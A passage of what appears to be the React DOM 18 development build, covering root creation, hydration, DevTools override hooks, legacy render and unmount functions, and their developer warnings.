        error('Render methods should be a pure function of props and state; ' + 'triggering nested component updates from render is not allowed. ' + 'If necessary, trigger nested updates in componentDidUpdate.\n\n' + 'Check the render method of %s.', getComponentNameFromFiber(current) || 'Unknown');
      }
    }

    var update = createUpdate(eventTime, lane); // Caution: React DevTools currently depends on this property
    // being called "element".

    update.payload = {
      element: element
    };
    callback = callback === undefined ? null : callback;

    if (callback !== null) {
      {
        if (typeof callback !== 'function') {
          error('render(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callback);
        }
      }

      update.callback = callback;
    }

    var root = enqueueUpdate(current$1, update, lane);

    if (root !== null) {
      scheduleUpdateOnFiber(root, current$1, lane, eventTime);
      entangleTransitions(root, current$1, lane);
    }

    return lane;
  }
  function getPublicRootInstance(container) {
    var containerFiber = container.current;

    if (!containerFiber.child) {
      return null;
    }

    switch (containerFiber.child.tag) {
      case HostComponent:
        return getPublicInstance(containerFiber.child.stateNode);

      default:
        return containerFiber.child.stateNode;
    }
  }
  function attemptSynchronousHydration$1(fiber) {
    switch (fiber.tag) {
      case HostRoot:
        {
          var root = fiber.stateNode;

          if (isRootDehydrated(root)) {
            // Flush the first scheduled "update".
            var lanes = getHighestPriorityPendingLanes(root);
            flushRoot(root, lanes);
          }

          break;
        }

      case SuspenseComponent:
        {
          flushSync(function () {
            var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

            if (root !== null) {
              var eventTime = requestEventTime();
              scheduleUpdateOnFiber(root, fiber, SyncLane, eventTime);
            }
          }); // If we're still blocked after this, we need to increase
          // the priority of any promises resolving within this
          // boundary so that they next attempt also has higher pri.

          var retryLane = SyncLane;
          markRetryLaneIfNotHydrated(fiber, retryLane);
          break;
        }
    }
  }

  function markRetryLaneImpl(fiber, retryLane) {
    var suspenseState = fiber.memoizedState;

    if (suspenseState !== null && suspenseState.dehydrated !== null) {
      suspenseState.retryLane = higherPriorityLane(suspenseState.retryLane, retryLane);
    }
  } // Increases the priority of thenables when they resolve within this boundary.


  function markRetryLaneIfNotHydrated(fiber, retryLane) {
    markRetryLaneImpl(fiber, retryLane);
    var alternate = fiber.alternate;

    if (alternate) {
      markRetryLaneImpl(alternate, retryLane);
    }
  }
  function attemptContinuousHydration$1(fiber) {
    if (fiber.tag !== SuspenseComponent) {
      // We ignore HostRoots here because we can't increase
      // their priority and they should not suspend on I/O,
      // since you have to wrap anything that might suspend in
      // Suspense.
      return;
    }

    var lane = SelectiveHydrationLane;
    var root = enqueueConcurrentRenderForLane(fiber, lane);

    if (root !== null) {
      var eventTime = requestEventTime();
      scheduleUpdateOnFiber(root, fiber, lane, eventTime);
    }

    markRetryLaneIfNotHydrated(fiber, lane);
  }
  function attemptHydrationAtCurrentPriority$1(fiber) {
    if (fiber.tag !== SuspenseComponent) {
      // We ignore HostRoots here because we can't increase
      // their priority other than synchronously flush it.
      return;
    }

    var lane = requestUpdateLane(fiber);
    var root = enqueueConcurrentRenderForLane(fiber, lane);

    if (root !== null) {
      var eventTime = requestEventTime();
      scheduleUpdateOnFiber(root, fiber, lane, eventTime);
    }

    markRetryLaneIfNotHydrated(fiber, lane);
  }
  function findHostInstanceWithNoPortals(fiber) {
    var hostFiber = findCurrentHostFiberWithNoPortals(fiber);

    if (hostFiber === null) {
      return null;
    }

    return hostFiber.stateNode;
  }

  var shouldErrorImpl = function (fiber) {
    return null;
  };

  function shouldError(fiber) {
    return shouldErrorImpl(fiber);
  }

  var shouldSuspendImpl = function (fiber) {
    return false;
  };

  function shouldSuspend(fiber) {
    return shouldSuspendImpl(fiber);
  }
  var overrideHookState = null;
  var overrideHookStateDeletePath = null;
  var overrideHookStateRenamePath = null;
  var overrideProps = null;
  var overridePropsDeletePath = null;
  var overridePropsRenamePath = null;
  var scheduleUpdate = null;
  var setErrorHandler = null;
  var setSuspenseHandler = null;

  {
    var copyWithDeleteImpl = function (obj, path, index) {
      var key = path[index];
      var updated = isArray(obj) ? obj.slice() : assign({}, obj);

      if (index + 1 === path.length) {
        if (isArray(updated)) {
          updated.splice(key, 1);
        } else {
          delete updated[key];
        }

        return updated;
      } // $FlowFixMe number or string is fine here


      updated[key] = copyWithDeleteImpl(obj[key], path, index + 1);
      return updated;
    };

    var copyWithDelete = function (obj, path) {
      return copyWithDeleteImpl(obj, path, 0);
    };

    var copyWithRenameImpl = function (obj, oldPath, newPath, index) {
      var oldKey = oldPath[index];
      var updated = isArray(obj) ? obj.slice() : assign({}, obj);

      if (index + 1 === oldPath.length) {
        var newKey = newPath[index]; // $FlowFixMe number or string is fine here

        updated[newKey] = updated[oldKey];

        if (isArray(updated)) {
          updated.splice(oldKey, 1);
        } else {
          delete updated[oldKey];
        }
      } else {
        // $FlowFixMe number or string is fine here
        updated[oldKey] = copyWithRenameImpl( // $FlowFixMe number or string is fine here
        obj[oldKey], oldPath, newPath, index + 1);
      }

      return updated;
    };

    var copyWithRename = function (obj, oldPath, newPath) {
      if (oldPath.length !== newPath.length) {
        warn('copyWithRename() expects paths of the same length');

        return;
      } else {
        for (var i = 0; i < newPath.length - 1; i++) {
          if (oldPath[i] !== newPath[i]) {
            warn('copyWithRename() expects paths to be the same except for the deepest key');

            return;
          }
        }
      }

      return copyWithRenameImpl(obj, oldPath, newPath, 0);
    };

    var copyWithSetImpl = function (obj, path, index, value) {
      if (index >= path.length) {
        return value;
      }

      var key = path[index];
      var updated = isArray(obj) ? obj.slice() : assign({}, obj); // $FlowFixMe number or string is fine here

      updated[key] = copyWithSetImpl(obj[key], path, index + 1, value);
      return updated;
    };

    var copyWithSet = function (obj, path, value) {
      return copyWithSetImpl(obj, path, 0, value);
    };

    var findHook = function (fiber, id) {
      // For now, the "id" of stateful hooks is just the stateful hook index.
      // This may change in the future with e.g. nested hooks.
      var currentHook = fiber.memoizedState;

      while (currentHook !== null && id > 0) {
        currentHook = currentHook.next;
        id--;
      }

      return currentHook;
    }; // Support DevTools editable values for useState and useReducer.


    overrideHookState = function (fiber, id, path, value) {
      var hook = findHook(fiber, id);

      if (hook !== null) {
        var newState = copyWithSet(hook.memoizedState, path, value);
        hook.memoizedState = newState;
        hook.baseState = newState; // We aren't actually adding an update to the queue,
        // because there is no update we can add for useReducer hooks that won't trigger an error.
        // (There's no appropriate action type for DevTools overrides.)
        // As a result though, React will see the scheduled update as a noop and bailout.
        // Shallow cloning props works as a workaround for now to bypass the bailout check.

        fiber.memoizedProps = assign({}, fiber.memoizedProps);
        var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

        if (root !== null) {
          scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
        }
      }
    };

    overrideHookStateDeletePath = function (fiber, id, path) {
      var hook = findHook(fiber, id);

      if (hook !== null) {
        var newState = copyWithDelete(hook.memoizedState, path);
        hook.memoizedState = newState;
        hook.baseState = newState; // We aren't actually adding an update to the queue,
        // because there is no update we can add for useReducer hooks that won't trigger an error.
        // (There's no appropriate action type for DevTools overrides.)
        // As a result though, React will see the scheduled update as a noop and bailout.
        // Shallow cloning props works as a workaround for now to bypass the bailout check.

        fiber.memoizedProps = assign({}, fiber.memoizedProps);
        var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

        if (root !== null) {
          scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
        }
      }
    };

    overrideHookStateRenamePath = function (fiber, id, oldPath, newPath) {
      var hook = findHook(fiber, id);

      if (hook !== null) {
        var newState = copyWithRename(hook.memoizedState, oldPath, newPath);
        hook.memoizedState = newState;
        hook.baseState = newState; // We aren't actually adding an update to the queue,
        // because there is no update we can add for useReducer hooks that won't trigger an error.
        // (There's no appropriate action type for DevTools overrides.)
        // As a result though, React will see the scheduled update as a noop and bailout.
        // Shallow cloning props works as a workaround for now to bypass the bailout check.

        fiber.memoizedProps = assign({}, fiber.memoizedProps);
        var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

        if (root !== null) {
          scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
        }
      }
    }; // Support DevTools props for function components, forwardRef, memo, host components, etc.


    overrideProps = function (fiber, path, value) {
      fiber.pendingProps = copyWithSet(fiber.memoizedProps, path, value);

      if (fiber.alternate) {
        fiber.alternate.pendingProps = fiber.pendingProps;
      }

      var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
      }
    };

    overridePropsDeletePath = function (fiber, path) {
      fiber.pendingProps = copyWithDelete(fiber.memoizedProps, path);

      if (fiber.alternate) {
        fiber.alternate.pendingProps = fiber.pendingProps;
      }

      var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
      }
    };

    overridePropsRenamePath = function (fiber, oldPath, newPath) {
      fiber.pendingProps = copyWithRename(fiber.memoizedProps, oldPath, newPath);

      if (fiber.alternate) {
        fiber.alternate.pendingProps = fiber.pendingProps;
      }

      var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
      }
    };

    scheduleUpdate = function (fiber) {
      var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
      }
    };

    setErrorHandler = function (newShouldErrorImpl) {
      shouldErrorImpl = newShouldErrorImpl;
    };

    setSuspenseHandler = function (newShouldSuspendImpl) {
      shouldSuspendImpl = newShouldSuspendImpl;
    };
  }

  function findHostInstanceByFiber(fiber) {
    var hostFiber = findCurrentHostFiber(fiber);

    if (hostFiber === null) {
      return null;
    }

    return hostFiber.stateNode;
  }

  function emptyFindFiberByHostInstance(instance) {
    return null;
  }

  function getCurrentFiberForDevTools() {
    return current;
  }

  function injectIntoDevTools(devToolsConfig) {
    var findFiberByHostInstance = devToolsConfig.findFiberByHostInstance;
    var ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;
    return injectInternals({
      bundleType: devToolsConfig.bundleType,
      version: devToolsConfig.version,
      rendererPackageName: devToolsConfig.rendererPackageName,
      rendererConfig: devToolsConfig.rendererConfig,
      overrideHookState: overrideHookState,
      overrideHookStateDeletePath: overrideHookStateDeletePath,
      overrideHookStateRenamePath: overrideHookStateRenamePath,
      overrideProps: overrideProps,
      overridePropsDeletePath: overridePropsDeletePath,
      overridePropsRenamePath: overridePropsRenamePath,
      setErrorHandler: setErrorHandler,
      setSuspenseHandler: setSuspenseHandler,
      scheduleUpdate: scheduleUpdate,
      currentDispatcherRef: ReactCurrentDispatcher,
      findHostInstanceByFiber: findHostInstanceByFiber,
      findFiberByHostInstance: findFiberByHostInstance || emptyFindFiberByHostInstance,
      // React Refresh
      findHostInstancesForRefresh:  findHostInstancesForRefresh ,
      scheduleRefresh:  scheduleRefresh ,
      scheduleRoot:  scheduleRoot ,
      setRefreshHandler:  setRefreshHandler ,
      // Enables DevTools to append owner stacks to error messages in DEV mode.
      getCurrentFiber:  getCurrentFiberForDevTools ,
      // Enables DevTools to detect reconciler version rather than renderer version
      // which may not match for third party renderers.
      reconcilerVersion: ReactVersion
    });
  }

  /* global reportError */

  var defaultOnRecoverableError = typeof reportError === 'function' ? // In modern browsers, reportError will dispatch an error event,
  // emulating an uncaught JavaScript error.
  reportError : function (error) {
    // In older browsers and test environments, fallback to console.error.
    // eslint-disable-next-line react-internal/no-production-logging
    console['error'](error);
  };

  function ReactDOMRoot(internalRoot) {
    this._internalRoot = internalRoot;
  }

  ReactDOMHydrationRoot.prototype.render = ReactDOMRoot.prototype.render = function (children) {
    var root = this._internalRoot;

    if (root === null) {
      throw new Error('Cannot update an unmounted root.');
    }

    {
      if (typeof arguments[1] === 'function') {
        error('render(...): does not support the second callback argument. ' + 'To execute a side effect after rendering, declare it in a component body with useEffect().');
      } else if (isValidContainer(arguments[1])) {
        error('You passed a container to the second argument of root.render(...). ' + "You don't need to pass it again since you already passed it to create the root.");
      } else if (typeof arguments[1] !== 'undefined') {
        error('You passed a second argument to root.render(...) but it only accepts ' + 'one argument.');
      }

      var container = root.containerInfo;

      if (container.nodeType !== COMMENT_NODE) {
        var hostInstance = findHostInstanceWithNoPortals(root.current);

        if (hostInstance) {
          if (hostInstance.parentNode !== container) {
            error('render(...): It looks like the React-rendered content of the ' + 'root container was removed without using React. This is not ' + 'supported and will cause errors. Instead, call ' + "root.unmount() to empty a root's container.");
          }
        }
      }
    }

    updateContainer(children, root, null, null);
  };

  ReactDOMHydrationRoot.prototype.unmount = ReactDOMRoot.prototype.unmount = function () {
    {
      if (typeof arguments[0] === 'function') {
        error('unmount(...): does not support a callback argument. ' + 'To execute a side effect after rendering, declare it in a component body with useEffect().');
      }
    }

    var root = this._internalRoot;

    if (root !== null) {
      this._internalRoot = null;
      var container = root.containerInfo;

      {
        if (isAlreadyRendering()) {
          error('Attempted to synchronously unmount a root while React was already ' + 'rendering. React cannot finish unmounting the root until the ' + 'current render has completed, which may lead to a race condition.');
        }
      }

      flushSync(function () {
        updateContainer(null, root, null, null);
      });
      unmarkContainerAsRoot(container);
    }
  };

  function createRoot(container, options) {
    if (!isValidContainer(container)) {
      throw new Error('createRoot(...): Target container is not a DOM element.');
    }

    warnIfReactDOMContainerInDEV(container);
    var isStrictMode = false;
    var concurrentUpdatesByDefaultOverride = false;
    var identifierPrefix = '';
    var onRecoverableError = defaultOnRecoverableError;
    var transitionCallbacks = null;

    if (options !== null && options !== undefined) {
      {
        if (options.hydrate) {
          warn('hydrate through createRoot is deprecated. Use ReactDOMClient.hydrateRoot(container, <App />) instead.');
        } else {
          if (typeof options === 'object' && options !== null && options.$$typeof === REACT_ELEMENT_TYPE) {
            error('You passed a JSX element to createRoot. You probably meant to ' + 'call root.render instead. ' + 'Example usage:\n\n' + '  let root = createRoot(domContainer);\n' + '  root.render(<App />);');
          }
        }
      }

      if (options.unstable_strictMode === true) {
        isStrictMode = true;
      }

      if (options.identifierPrefix !== undefined) {
        identifierPrefix = options.identifierPrefix;
      }

      if (options.onRecoverableError !== undefined) {
        onRecoverableError = options.onRecoverableError;
      }

      if (options.transitionCallbacks !== undefined) {
        transitionCallbacks = options.transitionCallbacks;
      }
    }

    var root = createContainer(container, ConcurrentRoot, null, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
    markContainerAsRoot(root.current, container);
    var rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
    listenToAllSupportedEvents(rootContainerElement);
    return new ReactDOMRoot(root);
  }

  function ReactDOMHydrationRoot(internalRoot) {
    this._internalRoot = internalRoot;
  }

  function scheduleHydration(target) {
    if (target) {
      queueExplicitHydrationTarget(target);
    }
  }

  ReactDOMHydrationRoot.prototype.unstable_scheduleHydration = scheduleHydration;
  function hydrateRoot(container, initialChildren, options) {
    if (!isValidContainer(container)) {
      throw new Error('hydrateRoot(...): Target container is not a DOM element.');
    }

    warnIfReactDOMContainerInDEV(container);

    {
      if (initialChildren === undefined) {
        error('Must provide initial children as second argument to hydrateRoot. ' + 'Example usage: hydrateRoot(domContainer, <App />)');
      }
    } // For now we reuse the whole bag of options since they contain
    // the hydration callbacks.


    var hydrationCallbacks = options != null ? options : null; // TODO: Delete this option

    var mutableSources = options != null && options.hydratedSources || null;
    var isStrictMode = false;
    var concurrentUpdatesByDefaultOverride = false;
    var identifierPrefix = '';
    var onRecoverableError = defaultOnRecoverableError;

    if (options !== null && options !== undefined) {
      if (options.unstable_strictMode === true) {
        isStrictMode = true;
      }

      if (options.identifierPrefix !== undefined) {
        identifierPrefix = options.identifierPrefix;
      }

      if (options.onRecoverableError !== undefined) {
        onRecoverableError = options.onRecoverableError;
      }
    }

    var root = createHydrationContainer(initialChildren, null, container, ConcurrentRoot, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
    markContainerAsRoot(root.current, container); // This can't be a comment node since hydration doesn't work on comment nodes anyway.

    listenToAllSupportedEvents(container);

    if (mutableSources) {
      for (var i = 0; i < mutableSources.length; i++) {
        var mutableSource = mutableSources[i];
        registerMutableSourceForHydration(root, mutableSource);
      }
    }

    return new ReactDOMHydrationRoot(root);
  }
  function isValidContainer(node) {
    return !!(node && (node.nodeType === ELEMENT_NODE || node.nodeType === DOCUMENT_NODE || node.nodeType === DOCUMENT_FRAGMENT_NODE || !disableCommentsAsDOMContainers  ));
  } // TODO: Remove this function which also includes comment nodes.
  // We only use it in places that are currently more relaxed.

  function isValidContainerLegacy(node) {
    return !!(node && (node.nodeType === ELEMENT_NODE || node.nodeType === DOCUMENT_NODE || node.nodeType === DOCUMENT_FRAGMENT_NODE || node.nodeType === COMMENT_NODE && node.nodeValue === ' react-mount-point-unstable '));
  }

  function warnIfReactDOMContainerInDEV(container) {
    {
      if (container.nodeType === ELEMENT_NODE && container.tagName && container.tagName.toUpperCase() === 'BODY') {
        error('createRoot(): Creating roots directly with document.body is ' + 'discouraged, since its children are often manipulated by third-party ' + 'scripts and browser extensions. This may lead to subtle ' + 'reconciliation issues. Try using a container element created ' + 'for your app.');
      }

      if (isContainerMarkedAsRoot(container)) {
        if (container._reactRootContainer) {
          error('You are calling ReactDOMClient.createRoot() on a container that was previously ' + 'passed to ReactDOM.render(). This is not supported.');
        } else {
          error('You are calling ReactDOMClient.createRoot() on a container that ' + 'has already been passed to createRoot() before. Instead, call ' + 'root.render() on the existing root instead if you want to update it.');
        }
      }
    }
  }

  var ReactCurrentOwner$3 = ReactSharedInternals.ReactCurrentOwner;
  var topLevelUpdateWarnings;

  {
    topLevelUpdateWarnings = function (container) {
      if (container._reactRootContainer && container.nodeType !== COMMENT_NODE) {
        var hostInstance = findHostInstanceWithNoPortals(container._reactRootContainer.current);

        if (hostInstance) {
          if (hostInstance.parentNode !== container) {
            error('render(...): It looks like the React-rendered content of this ' + 'container was removed without using React. This is not ' + 'supported and will cause errors. Instead, call ' + 'ReactDOM.unmountComponentAtNode to empty a container.');
          }
        }
      }

      var isRootRenderedBySomeReact = !!container._reactRootContainer;
      var rootEl = getReactRootElementInContainer(container);
      var hasNonRootReactChild = !!(rootEl && getInstanceFromNode(rootEl));

      if (hasNonRootReactChild && !isRootRenderedBySomeReact) {
        error('render(...): Replacing React-rendered children with a new root ' + 'component. If you intended to update the children of this node, ' + 'you should instead have the existing children update their state ' + 'and render the new components instead of calling ReactDOM.render.');
      }

      if (container.nodeType === ELEMENT_NODE && container.tagName && container.tagName.toUpperCase() === 'BODY') {
        error('render(): Rendering components directly into document.body is ' + 'discouraged, since its children are often manipulated by third-party ' + 'scripts and browser extensions. This may lead to subtle ' + 'reconciliation issues. Try rendering into a container element created ' + 'for your app.');
      }
    };
  }

  function getReactRootElementInContainer(container) {
    if (!container) {
      return null;
    }

    if (container.nodeType === DOCUMENT_NODE) {
      return container.documentElement;
    } else {
      return container.firstChild;
    }
  }

  function noopOnRecoverableError() {// This isn't reachable because onRecoverableError isn't called in the
    // legacy API.
  }

  function legacyCreateRootFromDOMContainer(container, initialChildren, parentComponent, callback, isHydrationContainer) {
    if (isHydrationContainer) {
      if (typeof callback === 'function') {
        var originalCallback = callback;

        callback = function () {
          var instance = getPublicRootInstance(root);
          originalCallback.call(instance);
        };
      }

      var root = createHydrationContainer(initialChildren, callback, container, LegacyRoot, null, // hydrationCallbacks
      false, // isStrictMode
      false, // concurrentUpdatesByDefaultOverride,
      '', // identifierPrefix
      noopOnRecoverableError);
      container._reactRootContainer = root;
      markContainerAsRoot(root.current, container);
      var rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
      listenToAllSupportedEvents(rootContainerElement);
      flushSync();
      return root;
    } else {
      // First clear any existing content.
      var rootSibling;

      while (rootSibling = container.lastChild) {
        container.removeChild(rootSibling);
      }

      if (typeof callback === 'function') {
        var _originalCallback = callback;

        callback = function () {
          var instance = getPublicRootInstance(_root);

          _originalCallback.call(instance);
        };
      }

      var _root = createContainer(container, LegacyRoot, null, // hydrationCallbacks
      false, // isStrictMode
      false, // concurrentUpdatesByDefaultOverride,
      '', // identifierPrefix
      noopOnRecoverableError);

      container._reactRootContainer = _root;
      markContainerAsRoot(_root.current, container);

      var _rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;

      listenToAllSupportedEvents(_rootContainerElement); // Initial mount should not be batched.

      flushSync(function () {
        updateContainer(initialChildren, _root, parentComponent, callback);
      });
      return _root;
    }
  }

  function warnOnInvalidCallback$1(callback, callerName) {
    {
      if (callback !== null && typeof callback !== 'function') {
        error('%s(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callerName, callback);
      }
    }
  }

  function legacyRenderSubtreeIntoContainer(parentComponent, children, container, forceHydrate, callback) {
    {
      topLevelUpdateWarnings(container);
      warnOnInvalidCallback$1(callback === undefined ? null : callback, 'render');
    }

    var maybeRoot = container._reactRootContainer;
    var root;

    if (!maybeRoot) {
      // Initial mount
      root = legacyCreateRootFromDOMContainer(container, children, parentComponent, callback, forceHydrate);
    } else {
      root = maybeRoot;

      if (typeof callback === 'function') {
        var originalCallback = callback;

        callback = function () {
          var instance = getPublicRootInstance(root);
          originalCallback.call(instance);
        };
      } // Update


      updateContainer(children, root, parentComponent, callback);
    }

    return getPublicRootInstance(root);
  }

  var didWarnAboutFindDOMNode = false;
  function findDOMNode(componentOrElement) {
    {
      if (!didWarnAboutFindDOMNode) {
        didWarnAboutFindDOMNode = true;

        error('findDOMNode is deprecated and will be removed in the next major ' + 'release. Instead, add a ref directly to the element you want ' + 'to reference. Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-find-node');
      }

      var owner = ReactCurrentOwner$3.current;

      if (owner !== null && owner.stateNode !== null) {
        var warnedAboutRefsInRender = owner.stateNode._warnedAboutRefsInRender;

        if (!warnedAboutRefsInRender) {
          error('%s is accessing findDOMNode inside its render(). ' + 'render() should be a pure function of props and state. It should ' + 'never access something that requires stale data from the previous ' + 'render, such as refs. Move this logic to componentDidMount and ' + 'componentDidUpdate instead.', getComponentNameFromType(owner.type) || 'A component');
        }

        owner.stateNode._warnedAboutRefsInRender = true;
      }
    }

    if (componentOrElement == null) {
      return null;
    }

    if (componentOrElement.nodeType === ELEMENT_NODE) {
      return componentOrElement;
    }

    {
      return findHostInstanceWithWarning(componentOrElement, 'findDOMNode');
    }
  }
  function hydrate(element, container, callback) {
    {
      error('ReactDOM.hydrate is no longer supported in React 18. Use hydrateRoot ' + 'instead. Until you switch to the new API, your app will behave as ' + "if it's running React 17. Learn " + 'more: https://reactjs.org/link/switch-to-createroot');
    }

    if (!isValidContainerLegacy(container)) {
      throw new Error('Target container is not a DOM element.');
    }

    {
      var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === undefined;

      if (isModernRoot) {
        error('You are calling ReactDOM.hydrate() on a container that was previously ' + 'passed to ReactDOMClient.createRoot(). This is not supported. ' + 'Did you mean to call hydrateRoot(container, element)?');
      }
    } // TODO: throw or warn if we couldn't hydrate?


    return legacyRenderSubtreeIntoContainer(null, element, container, true, callback);
  }
  function render(element, container, callback) {
    {
      error('ReactDOM.render is no longer supported in React 18. Use createRoot ' + 'instead. Until you switch to the new API, your app will behave as ' + "if it's running React 17. Learn " + 'more: https://reactjs.org/link/switch-to-createroot');
    }

    if (!isValidContainerLegacy(container)) {
      throw new Error('Target container is not a DOM element.');
    }

    {
      var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === undefined;

      if (isModernRoot) {
        error('You are calling ReactDOM.render() on a container that was previously ' + 'passed to ReactDOMClient.createRoot(). This is not supported. ' + 'Did you mean to call root.render(element)?');
      }
    }

    return legacyRenderSubtreeIntoContainer(null, element, container, false, callback);
  }
  function unstable_renderSubtreeIntoContainer(parentComponent, element, containerNode, callback) {
    {
      error('ReactDOM.unstable_renderSubtreeIntoContainer() is no longer supported ' + 'in React 18. Consider using a portal instead. Until you switch to ' + "the createRoot API, your app will behave as if it's running React " + '17. Learn more: https://reactjs.org/link/switch-to-createroot');
    }

    if (!isValidContainerLegacy(containerNode)) {
      throw new Error('Target container is not a DOM element.');
    }

    if (parentComponent == null || !has(parentComponent)) {
      throw new Error('parentComponent must be a valid React Component');
    }

    return legacyRenderSubtreeIntoContainer(parentComponent, element, containerNode, false, callback);
  }
  var didWarnAboutUnmountComponentAtNode = false;
  function unmountComponentAtNode(container) {
    {
      if (!didWarnAboutUnmountComponentAtNode) {
        didWarnAboutUnmountComponentAtNode = true;

        error('unmountComponentAtNode is deprecated and will be removed in the ' + 'next major release. Switch to the createRoot API. Learn ' + 'more: https://reactjs.org/link/switch-to-createroot');
      }
    }

    if (!isValidContainerLegacy(container)) {
      throw new Error('unmountComponentAtNode(...): Target container is not a DOM element.');
    }

    {
      var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === undefined;

      if (isModernRoot) {
        error('You are calling ReactDOM.unmountComponentAtNode() on a container that was previously ' + 'passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?');
      }
    }

    if (container._reactRootContainer) {
      {
        var rootEl = getReactRootElementInContainer(container);
        var renderedByDifferentReact = rootEl && !getInstanceFromNode(rootEl);

        if (renderedByDifferentReact) {
          error("unmountComponentAtNode(): The node you're attempting to unmount " + 'was rendered by another copy of React.');
        }
      } // Unmount should not be batched.


      flushSync(function () {
        legacyRenderSubtreeIntoContainer(null, null, container, false, function () {
          // $FlowFixMe This should probably use `delete container._reactRootContainer`
          container._reactRootContainer = null;
          unmarkContainerAsRoot(container);
        });
      }); // If you call unmountComponentAtNode twice in quick succession, you'll
      // get `true` twice. That's probably fine?

      return true;
    } else {
      {
        var _rootEl = getReactRootElementInContainer(container);

        var hasNonRootReactChild = !!(_rootEl && getInstanceFromNode(_rootEl)); // Check if the container itself is a React root node.

        var isContainerReactRoot = container.nodeType === ELEMENT_NODE && isValidContainerLegacy(container.parentNode) && !!container.parentNode._reactRootContainer;

        if (hasNonRootReactChild) {
          error("unmountComponentAtNode(): The node you're attempting to unmount " + 'was rendered by React and is not a top-level container. %s', isContainerReactRoot ? 'You may have accidentally passed in a React root node instead ' + 'of its container.' : 'Instead, have the parent component update its state and ' + 'rerender in order to remove this component.');
        }
      }

      return false;
    }
  }

  setAttemptSynchronousHydration(attemptSynchronousHydration$1);
  setAttemptContinuousHydration(attemptContinuousHydration$1);
  setAttemptHydrationAtCurrentPriority(attemptHydrationAtCurrentPriority$1);
  setGetCurrentUpdatePriority(getCurrentUpdatePriority);
  setAttemptHydrationAtPriority(runWithPriority);

  {
    if (typeof Map !== 'function' || // $FlowIssue Flow incorrectly thinks Map has no prototype
    Map.prototype == null || typeof Map.prototype.forEach !== 'function' || typeof Set !== 'function' || // $FlowIssue Flow incorrectly thinks Set has no prototype
    Set.prototype == null || typeof Set.prototype.clear !== 'function' || typeof Set.prototype.forEach !== 'function') {
      error('React depends on Map and Set built-in types. Make sure that you load a ' + 'polyfill in older browsers. https://reactjs.org/link/react-polyfills');
    }
  }

  setRestoreImplementation(restoreControlledState$3);
  setBatchingImplementation(batchedUpdates$1, discreteUpdates, flushSync);

  function createPortal$1(children, container) {
    var key = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null;

    if (!isValidContainer(container)) {
      throw new Error('Target container is not a DOM element.');
    } // TODO: pass ReactDOM portal implementation as third argument
    // $FlowFixMe The Flow type is opaque but there's no way to actually create it.


    return createPortal(children, container, null, key);
  }

  function renderSubtreeIntoContainer(parentComponent, element, containerNode, callback) {
    return unstable_renderSubtreeIntoContainer(parentComponent, element, containerNode, callback);
  }

  var Internals = {
    usingClientEntryPoint: false,
    // Keep in sync with ReactTestUtils.js.
    // This is an array for better minification.
    Events: [getInstanceFromNode, getNodeFromInstance, getFiberCurrentPropsFromNode, enqueueStateRestore, restoreStateIfNeeded, batchedUpdates$1]
  };

  function createRoot$1(container, options) {
    {
      if (!Internals.usingClientEntryPoint && !true) {
        error('You are importing createRoot from "react-dom" which is not supported. ' + 'You should instead import it from "react-dom/client".');
      }
    }

    return createRoot(container, options);
  }

  function hydrateRoot$1(container, initialChildren, options) {
    {
      if (!Internals.usingClientEntryPoint && !true) {
        error('You are importing hydrateRoot from "react-dom" which is not supported. ' + 'You should instead import it from "react-dom/client".');
      }
    }

    return hydrateRoot(container, initialChildren, options);
  } // Overload the definition to the two valid signatures.
  // Warning, this opts-out of checking the function body.


  // eslint-disable-next-line no-redeclare
  function flushSync$1(fn) {
    {
      if (isAlreadyRendering()) {
        error('flushSync was called from inside a lifecycle method. React cannot ' + 'flush when React is already rendering. Consider moving this call to ' + 'a scheduler task or micro task.');
      }
    }

    return flushSync(fn);
  }
  var foundDevTools = injectIntoDevTools({
    findFiberByHostInstance: getClosestInstanceFromNode,
    bundleType:  1 ,
    version: ReactVersion,
    rendererPackageName: 'react-dom'
  });

  {
    if (!foundDevTools && canUseDOM && window.top === window.self) {
      // If we're in Chrome or Firefox, provide a download link if not installed.
      if (navigator.userAgent.indexOf('Chrome') > -1 && navigator.userAgent.indexOf('Edge') === -1 || navigator.userAgent.indexOf('Firefox') > -1) {
        var protocol = window.location.protocol; // Don't warn in exotic cases like chrome-extension://.

        if (/^(https?|file):$/.test(protocol)) {
          // eslint-disable-next-line react-internal/no-production-logging
          console.info('%cDownload the React DevTools ' + 'for a better development experience: ' + 'https://reactjs.org/link/react-devtools' + (protocol === 'file:' ? '\nYou might need to use a local HTTP server (instead of file://): ' + 'https://reactjs.org/link/react-devtools-faq' : ''), 'font-weight:bold');
        }
      }
    }
  }

  exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = Internals;
  exports.createPortal = createPortal$1;
  exports.createRoot = createRoot$1;
